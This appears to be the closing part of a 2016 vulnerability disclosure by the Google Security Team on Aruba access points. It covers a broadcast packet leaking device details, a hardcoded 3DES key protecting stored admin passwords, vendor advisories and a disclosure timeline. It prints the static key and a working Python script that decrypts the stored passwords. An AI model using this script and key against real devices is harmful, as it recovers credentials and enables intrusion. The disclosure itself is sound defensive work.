0000 02 07 04 00 0b 86 9e 7a 32 04 07 03 00 0b 86 9e …z2… 0010 7a 32 06 02 00 78 0a 11 30 30 3a 30 62 3a 38 36 z2…x…00:0b:86 0020 3a XX XX 3a XX XX 3a XX XX 0c 3a 41 72 75 62 61 :XX:XX:XX.:Aruba 0030 4f 53 20 28 4d 4f 44 45 4c 3a 20 52 41 50 2d 31 OS (MODEL: RAP-1 0040 35 35 29 2c 20 56 65 72 73 69 6f 6e 20 36 2e 34 55), Version 6.4 0050 2e 32 2e 36 2d 34 2e 31 2e 31 2e 31 30 20 28 35 .2.6-4.1.1.10 (5 0060 31 38 31 30 29 0e 04 00 0c 00 08 10 0c 05 01 0a 1810)… 0070 00 00 22 02 00 00 00 0e 00 08 04 65 74 68 30 fe …"…eth0. 0080 06 00 0b 86 01 00 01 fe 09 00 12 0f 03 00 00 00 … 0090 00 00 fe 09 00 12 0f 01 03 6c 03 00 10 fe 06 00 …l… 00a0 12 0f 04 06 76 00 00 …v…

The broadcast packet contains the APs MAC address, model number and exact firmware version.This detailed information could aid an attacker to easily find and identify potential targets for known vulnerabilities.

AP: User passwords are encrypted with a static key

Based on the vulnerability shown in #24 which potentially discloses the password hashes of AP user accounts, the implemented hashing algorithm was tested. CVE-2014-7299 describes the password hashes as "encrypted password hashes". The following line shows the mgmt-user configuration for the user “admin” with password "admin":

mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa

Some testing with various passwords and especially password lengths showed that the passwords are actually encrypted and not hashed (as hash algorithms produce the same length output for different length input):

f9ac59cd431e174fb07539a8a811a1aa # admin d7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf # adminadmin

The encryption algorithm used for the above passwords turned out to be 3DES in CBC mode. The encryption algorithm uses a 24 byte static key which is hardcoded on the AP. Sampling of different Firmware versions confirmed that the key is identical for all available versions. The IV required for 3DES consists of 8 random bytes, and is stored as the first 8 byte of the encrypted password. The following Python script can be used to decrypt the above hashes:

import pyDes hashes = ( ‘f9ac59cd431e174fb07539a8a811a1aa’, # admin ‘d7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf’ # adminadmin ) key = ( ‘\x32\x74\x10\x84\x91\x17\x75\x46\x14\x75\x82\x92’ ‘\x43\x49\x04\x59\x18\x69\x15\x94\x27\x84\x30\x03’ ) for h in hashes: d = pyDes.triple_des(key, pyDes.CBC, h.decode(‘hex’)[:8], pad=’\00’) print h, '=>’, d.decrypt(h.decode(‘hex’)[8:])

Mitigation

Aruba released three advisories, related to the issues reported here:

http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-004.txt http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-005.txt http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-006.txt

Following the resolution advises given in those advisories is strongly recommended. These advisories are also available on the Aruba security bulletin:

http://www.arubanetworks.com/support-services/security-bulletins/

For the vulnerabilities related to PAPI, Aruba has made the following document available:

http://community.arubanetworks.com/aruba/attachments/aruba/aaa-nac-guest-access-byod/25840/1/Control_Plane_Security_Best_Practices_1_0.pdf

This doc gives several advises how to remediate the PAPI related vulnerabilities. An update fixing the issues is announced for Q3/2016. For further information there is also a discussion thread in Aruba’s Airheads Community Forum:

http://community.arubanetworks.com/t5/AAA-NAC-Guest-Access-BYOD/Security-vulnerability-advisories/m-p/266095#M25840

Author

The vulnerabilities were discovered by Sven Blumenstein from Google Security Team.

Timeline

2016/01/22 - Security report sent to sirt () arubanetworks com with 90 day disclosure deadline (2016/04/22). 2016/01/22 - Aruba acknowledges report and starts working on the issues. 2016/02/01 - Asking Aruba for ETA on detailed feedback. 2016/02/03 - Detailed feedback for all reported vulnerabilities received. 2016/02/16 - Answered several questions from the feedback, asked Aruba for patch ETA. 2016/02/29 - Pinged for patch ETA. 2016/03/08 - Pinged for patch ETA. 2016/03/12 - Received detailed list with approx. ETA for patch releases and current status. 2016/03/21 - Aruba asks for extension of 90 day disclosure deadline. 2016/03/24 - Asked Aruba for exact patch release dates. 2016/04/02 - Aruba confirmed 4.2.x branch update for 2016/04/15, 4.1.x branch update for 2016/04/30 (past 90 day deadline). 2016/04/14 - 14 day grace period for disclosure was granted, according to the disclosure policy. New disclosure date was set to 2016/05/06. 2016/05/02 - Asking for status of still unreleased ‘end of April’ update. 2016/05/02 - Aruba confirmed availability of update on 2016/05/09 (after grace period). 2016/05/03 - Aruba released three advisories on http://www.arubanetworks.com/support-services/security-bulletins/ 2016/05/06 - Public disclosure.

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